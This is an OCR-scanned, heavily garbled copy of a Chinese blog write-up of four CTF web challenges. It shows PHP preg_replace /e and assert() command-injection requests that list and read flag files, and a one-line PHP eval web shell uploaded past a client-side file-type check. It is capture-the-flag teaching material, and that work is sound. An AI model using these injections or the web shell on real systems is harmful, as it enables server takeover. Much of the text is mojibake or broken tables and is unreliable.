it St Webis F B ErWriteup

AR 51 F 2019-11-17 21:33:38 KA 538 e 1

LR CTFWriteup L ERLS: ZhEAtH A

FRALE B ASCRE ERAICE, #IE_CC 4.0 BY-SA RN, HEFM BRSO s A S,
ACEERE: https://blog.csdn.net/giuyeyijian/article/details/103111966

CTFWriteu EUNEAANE
1RXEOITH
TR B A
T B 1t 5+ Webit i [X
XEHZ
Tt R Web it i X
0x01. Cat
i R R 2%
Py
0x02. ics-05
i R B B
0x03. mfw
i R B B
0x04. upload1
it R B B
0x01. Cat

o MER¥1.0

o MENRIR: XCTF 4th-WHCTF-2017

o BHEMR: IEIAM

o WHE: hitp://111.198.29.45:43180/ B4k WIK; tH 5
o WHEMMF: T

fife 18 %

. ERRR A, REInvalid Url, 323878 B 45 H Bloli.club, A tBEF KRR, (HITE N 22 HhkHE
hitp://111.198.29.45:43180/index.php?url=loli.club , ii%48 7] LA getid sk


https://blog.csdn.net/qiuyeyijian
https://blog.csdn.net/qiuyeyijian/category_9499746.html
https://so.csdn.net/so/search/s.do?q=%25E5%258A%259F%25E9%2598%25B2%25E4%25B8%2596%25E7%2595%258C&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qiuyeyijian/article/details/103111966
https://blog.csdn.net/qiuyeyijian/category_9499746.html

{ (— )

c @

Cloud Automated Testing

BINREYERE, FiE0: loli.club

|| Submit |

v

i AN Z AT LUK L, URLJE HIbN:

TAB
=T

. IEHurl, R AR,  (BFEEHwiteup, #R[E ping4s £ )
. AEEURLFRSFS), iR[El Invalid URL
. URL%##5#8i2 %80, i&[EDjangofi 4

%00 0 %30 : %60

%01 1 %3 a %61 ik
%02 2 %32 b %62 &
%03 3 %33 [ %63 =
%04 4 %34 d %64 g
%05 5 %35 2 %65 .
%06 [ %36 f %066 -
%07 T %37 g %67 —
%08 8 %38 h %68 -
%09 9 %39 i %69 ™
%0a : %3a i %6a E
%0b ; %3b k %60

%0c < %3c | %be s>
%0d = %3d m %6d

%0e > %3e n %be Bbr=Y
9%0f ? %3f 0 956f

%10 @ %40 P %70 i
%11 A %41 q %71 ¢
%12 B %42 r %72 £
%13 C %43 s %73

%14 D %44 t %74 !
%15 E %d5 u %75 |
%16 F %46 v %76 A
%17 G %dT w %I E2
%18 H %48 X %78 ©
%19 | %49 ¥ %79 g
%1a J %4da z %7a «
%1b K %dh i %Th -
%1c L %dc | %Tc -
%1d M %dd 3 %7d )]
%le N %de - %ie -
%W 1f 0 Yodf YTt B
%20 = %50 £ %80 T
%21 Q %51 %81 2

%90
%01
%92
%93
%94
%95
%96
%97
%98
%99
%9a
%9b
%9¢c
%9d
%%
959f
%al
%al
%hal
%a3
%ad
%ab
%ab
%ar
%ah
%ad
%aa
%ab
%ac
%ad
Yeae
%af
%b0
%h1

OO0 ZM T T T M M M MO By B T D T e B

© £ 111.198.29.45:43180/index.php?url=loli.club

W e T

%c0
%

%c2
%c3
%cd
%ch
%ch
%eT
%ch
%c9
%ca
%ch
Y%ce
%cd
Yoce
Yook

%d0
%d1
%d2
%d3
%d4
%d5
%d6
%d7
%d8
%d9
%da
%db
%dc
%dd
%de
Yadf

%el
%el

b = L ] C’C-C‘&LJ‘-HO: (=1 = ER = D = T P =

%f0
%f1
%f2
%f3
%fd
%f5
%f6
%7
%f8
%f9
%fa
%fb
%fc
%fd
%efe
%ff



%22 R %52 %82 2 Y%b2 ] Y2
# %23 5 %653 f %83 u %b3 a Y3
3 %24 T %%hd4 . %84 " Y%bd a Yord
% %25 U %55 & %85 &5 Ybs a Yoeb
& %26 v %b6 {0 %86 : Yobb o Yoeb
' %27 W YbT 'pfﬁ %87 . Y%b7 [ YorT
( %28 %58 - %88 ! %b8 E YoeB
) %29 Y %569 o %89 ° %b% é %ed
- %2a z %5a 5 %3Ba » %ba & %ea
+ %2b %5h ¢ %8h A %bb El Yeb

%2c / Ybe CE %éc 1% Yabc i Yoec
- %2d ] %hd %8d b %bd i Yoed

Yhle " Yabe Hor= Ybe i Yobe i Yoee
! Yot Yobf Y Bf Yobf ] Yoef

it

“hr:

<tdrDATABASES </ td>
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base64f#tY )5, HATAMH IHIRREIGHER

if ($_SERVER[
echo
$pattern = $ GET[pat];

$replacement = $_GET[rep];
$subject = $_GET[sub];

if (isset($pattern) isset($replacement) isset($subject)) {

preg replace($pattern, $replacement, $subject);
}else{
die();

preg_replace: (PHP 5.5)

heE . REIAT A ENREAFHERNE K

E X : mixed preg_replace ( mixed $pattern, mixed $replacement , mixed $subject [, int KaTeX parse error: Expected
'EOF', got '&' at position 19: ...it=-1 [, int &count ]] )

& subject FULEL pattern FIER4, R ITES I LL replacement #3178 #:

patternfifE e RIBIESF, fnpattern A1 $subjectlLAe, preg_replaces # $replacement: i fR SR #u4T
6.3T FFburpsuit, #igpayload, ZiAFKECCH: H 3
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[ Dashboard ITarget T Proxy I Intruder ]' Repeater I Sequencer I Decoder I Comparer I Extender I Project options I User options

7 - [
Send || Cancel | [ < |v | >|v Target: http:/111.198.29.45:31050 /@

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML T Render ]
GET findax.php?pat=/abc/e&rep=system('ls") &sub=abc HTTR/1.1 | 5 I70E o S A Al E
Hast 11T 198 29 45 31050 | t.on(nav{demo)’, function{elem) {
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4, x64; n70.0) Gecko/20100101 Firefox/70.0 /lconsole.leg(elem)
Accept: text/html application/xhtml+xml applicationfxml; g=0.9,%* q=0.8 layer.msg(elem.text{);
Accept-Language: zh-CN zh;q=0.8 zh-TW;q=0.7 ,zh-HK;q=0.5 en-US;q=0.3 en;q=0.2 b
Accept-Encoding: gzip, deflate »
Connection: close <[script>
Cookie: PHPSESSID=ade33pthpBarsfBhi obSpeuts3
Upgrade-Insecure-Requests: 1 <hr >Welcome My Admin ! <br >css
Cache-Cantral: max-age=0 index.html
K-forwarded-for: 127.0.0.1 index.php
is
layui
logo.pnig
start.sh
. png
</hody>
</html>
L w/
v A

@ CJ w [;J Type a search term 0 matches @ tj [;J [;J Type a search term 0 matches

Done 2,760 bytes | 33 millis
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[ Dashboard ITarget W’ Proxy I Intruder IRepeater T Sequencer I Decoder I Comparer ]' Extender I Project options I User options

7 - [
Send || Cancel | [ < |v | >|v Target: http:/111.198.29.45:31050 /@

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex [ HTML T Render ]
GET /index.php?pat=/abc/e&rep=system("cd+s3chahahaDir+%26%26+s") &sub=abc HTTP/1.1 | : page: true :
LILLLIT o e Pt e e ) b
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4, x64; n70.0) Gecko/20100101 Firefox/70.0 »
Accept: text/html application/xhtml+xml,applicationfxml; g=0.9,%* q=0.8 <[script>
Accept-Language: zh-CN zh;q=0.8 zh-TW;q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2 <script>
Accept-Encoding: gzip, deflate layui.use('element’, function() {
Connection: close var element = layui.element;
Cookie: PHPSESS|D=adc33pthpBarsBh7 obspeuts3 HE LT hoverl Bty T gr R b, @Ak elementiiL
Upgrade-Insecure-Requests: 1 I S A
Cache-Control: max-age=0 ! on('nav(demo)’, functi lem) {
K-forwarded-for: 127.0.0.1 /iconsole.log(elem)
layer.msg{elem.text{));
»
»
<[script>
<br *Welcome My Admin ! <b >flag .,
</hody>
</html>
e
v A
@ < + > | | Type a search term 0 matches @ < + > | | Type a search term 0 matches
Done 2,685 bytes | 40 millis

HEE + RETH, %26%260 && Wurlfmid, FTARHATSE cd s3chahahabir J&, EEHAT 1s
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[ Dashboard ITarget T Proxy I Intruder IRepeater T Sequencer I Decoder I Comparer ]' Extender I Project options I User options

7 - .
Send || Cancel || < |v | >|v Target: http:/111.198.29.45:31050 /@

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex [ HTML T Render ]
GET /index.php?pat=/abc/e&rep=system("cd+s3chahahaDirflag+%26 %26 +Hs") &sub=abc HTTP/1.1 : page: true :
Host: 111.198.29.45:31050 »m
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4, x64; n70.0) Gecko/20100101 Firefox/70.0 »
Accept: text/html application/xhtml+xml applicationfxml; g=0.9,%* q=0.8 <[script>
Accept-Language: zh-CN zh;q=0.8 zh-TW;q=0.7 ,zh-HK;q=0.5 en-US;q=0.3 en;q=0.2 <script>
Accept-Encoding: gzip, deflate layui.use('element’, function() {
Connection: close var element = layui.element;
Cookie: PHPSESS|D=adc33pthpBarsBh7 obspeuts3 HE R hoverd Bty R b, WA ficEelementi i
Upgrade-Insecure-Requests: 1 IR A
Cache-Control: max-age=0 ! on('nav(demo)’, functi lem) {
K-forwarded-for: 127.0.0.1 /iconsole.log(elem)
layer.msg(elem.text();
»
»
<[script>
<br *Welcome My Admin ! <br 3flag.php
</hody>
</html>
e
v A
@ < + > 0 matches @ < + B Ty 0 matches
Done 2,693 bytes | 39 millis

9. R ¥iflag.php, Fcat fr4-iLE, & Piflag
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[ Dashboard ] Target [ Proxy ] Intruder l Repeater ] Sequencer ] Decoder ] Comparer l Extender ] Project options ] User options

7 - [
Send || Cancel || < |v | >|v Target: http:/111.198.29.45:31050 /@

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML T Render ]

GET /index.php?pat=/abc/e&rep=system("cat+s3chahahaDirflagflag. php")&sub=abc HTTP/1.1 : <script> :
Host: 111.198.29.45:31050 layui.use('element’, function() {
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4, x64; n70.0) Gecko/20100101 Firefox/70.0 var element = layui.element;
Accept: text/html application/xhtml+xml application/xml; g=0.9 **;q=0.8 HEN A hover e B, AR ohie, T iEielementBiL
Accept-Language: zh-CN zh:q=0.8 zh-TW:q=0.7 zh-HK;q=05 en-US;q=0.3 en;q=0.2 A1 i ey 5 A A
Accept-Encoding: gzip, deflate | on('nav(d )'s i ionfelem) {
Connection: close /iconsole.log(elem)
Cookie: PHPSESSID=adc33pthpBarsfBhi obSpeuts3 layer.msg(elem.text());
Upgrade-Insecure-Requests: 1 HH
Cache-Cantral: max-age=0 »
K-forwarded-for: 127.0.0.1 <[script>

<br >Welcome My Admin ! <br ><?php

$flag = 'cyberpeace{95ded10dhd1499hbEEdIceBsd 1 actaf};

7=

</hody>

</html>

e
v A

@ < + > | | Type a search term 0 matches @ < + = | | Type ch term 0 matches
Done 2,751 bytes | 150 millis

0x03. mfw

o MEFERH1.0

o FBHNRWE: **csaw-ctf-2016-quals **

o BEHHR: T

o WMHBER: hitp://111.198.29.45:40481/ E kS WU B it 5t
o BEMM: T

iR 7L L B
1T RE, BEFED, RIBEREN R Elag 7

class=
<ul class= >
<li class= ><a href= >Home</a></1i>
<li ><a href= >About</a></1i>
<li ><a href= >Contact</a></1i>

<l--<1i ><a href= >My secrets</a></1li> -->

</ul>
</div>

2. AR HIEZSE nttp://111.198.29.45:40481/ ?page=~Flag Vj [ & A 4 K I

3. FEfEEE, 7EAboutil I 2IMuEH H2IGit, B 2IGItIRSM T, M dirsearch 33— T )5 &, X MgitH 3

python3 dirsearch.py -u http:



Extensions: php HTTP method: get Threads: 10 @ Wordlist size: 6027

Target: http://111. 198. 29. 45: 40481

[19:14:42] Starting:
[19:14:43] 301 - 322B - /.git

[19:14:43] 301 - 338B - /. git/logs/refs/heads https:/blog.csdn.net/digyeyifian

4. GitHack R #8858 TR, Xt index.php #ATRBS#H It (HATEEE T, BAHARKI)

python27 GitHack.py http:

$file ) or die(

R BRPST file BEFATH, FAFEERET file #HTIIIE, M file BEFTEFE NN page BEWR, AT
& payload

page=abc') or system(

SR BTV ) B AR N«




http://111.198.29.45:40481/?page=abc') or system("cat templates/flag.php");//

assert("strpos(‘templates/abc’) or system(“cat templates/flag.php");//', '..') === false") or die("Detected hacking attempt!");

6. MITZEHEE, WHIEN, /52fag

1| <?php JFLAG="cyberpeace [Thd1f565c042bbETE2338: 1029573723}, 7>
2| <7php JFLAG="cyberpeace {Thdlf5A5c842bbATRE3381 02957373} 7>

3
4| <html>
b <head>
6 <meta charzet="utf-8">
7 <meta http—equiv="H-UL-Compatible” content="IE=edgze">
8 {meta name="viewport” content="width=dewice—width, initial-scale=1"3
g
10 <titlerMy PHP Webszited/titler
11
0x04. upload1
o SEERE 1.0
o FHFRIE:
o WHHR: T
o WMHBER: hitp://111.198.29.45:42110 E kS WU R 5+
o BHEMHME: T
T
i i 1
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script type

Array.prototype.contains

function (obj) {
var i = this.length;
while (i--) {

if (this[i]

return true;

obj) {

1
J

return false;

function check(){

upfile

submit

name

ext

if([

submit.disabled

document.getElementById(
document.getElementById(
upfile.value;

name.replace(/”~.+\./,"'");

, ].contains(ext)){

false;

}else{

submit.disabled

true;

alert(

}

2. RiaBBHA Lg—AEARY, ZrinkitREFsd, RIMMWE-IERS,

<?php @eval($_POST[

3.

1);2>

Fburpsuititts, BT %N 1.php
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Send Cance

Request

j Raw I Params I Headers T Hex 1

Target: hitp:/1111.198.29.45:42110 2 (2)

Response

J Raw T Headers T Hex T Render 1

POST findex.php HTTR/ .1

Host: 111.198.29.45:42110

User-Agent: Mozilla5.0 (Windows NT 10.0; Wing4; x64; nv:70.0) Gecka/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml application/xml, g=0.9 */*q=0.8
Accept-Language: zh-CN zh;q=0.8 zh-TW,q=0.7 zh-HIK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: multipartform-data; boundary=----------------m---eummeen 3902153292
Content-Length: 208

Origin: http://111.198.29.45:42110

Connection: close

Referer: http://111.198.29.45:42110/index.php

Upgrade-Insecure-Requests: 1

----------------------------- 3902153292

Content-Disposition: form-data; name="upﬂle";lﬂlename="1.rJhrJ" |

e

HTTP/.1 200 OK

Date: Sun, 17 Nov 2019 14:13.562 GMT
Server. Apache/2.4.25 (Debian)
X-Powered-By: PHP/S.B.37

Wary: Accept-Encoding
Content-Length: 956

Connection: close

Content-Type: text/html; charset=UTF-8

upload success : upload/1574000032.1.php
<!Doctype htmi=

<html> . )
<head> Sendi=E, B EEMHES

<meta http-equiv="Content-Type"




Content-Type: image/jpeq L--------J content="text/html; charset=utt-8" />
ISR 4=
<?php @eval($_POST['cmdT); 7> <script type="text/javascript"=
----------------------------- 3902153292~
Array.prototype.contains = function (obj) {
e . .
v var i = this.length; v
@ (< |[+]]=] Type a search term 0 matches @ (< |[+ ][ =] Type a sea| 0 matches
Done 1,173 bytes | 28 millis
4 3R T) 8 WS % B 15 Blwebshell, 7EM5AR B 3 & Piflag
AntSword Data Edit Window
4 == 5111.198.29.45 3
M Edit: /var/www/html/flag.php -2 X
&) Save "B Encode -~ = Mode -

1 «<?php
2 3$flag="cyberpeace{47daaf84bdd1818feB688C7b25428888}";
3
4
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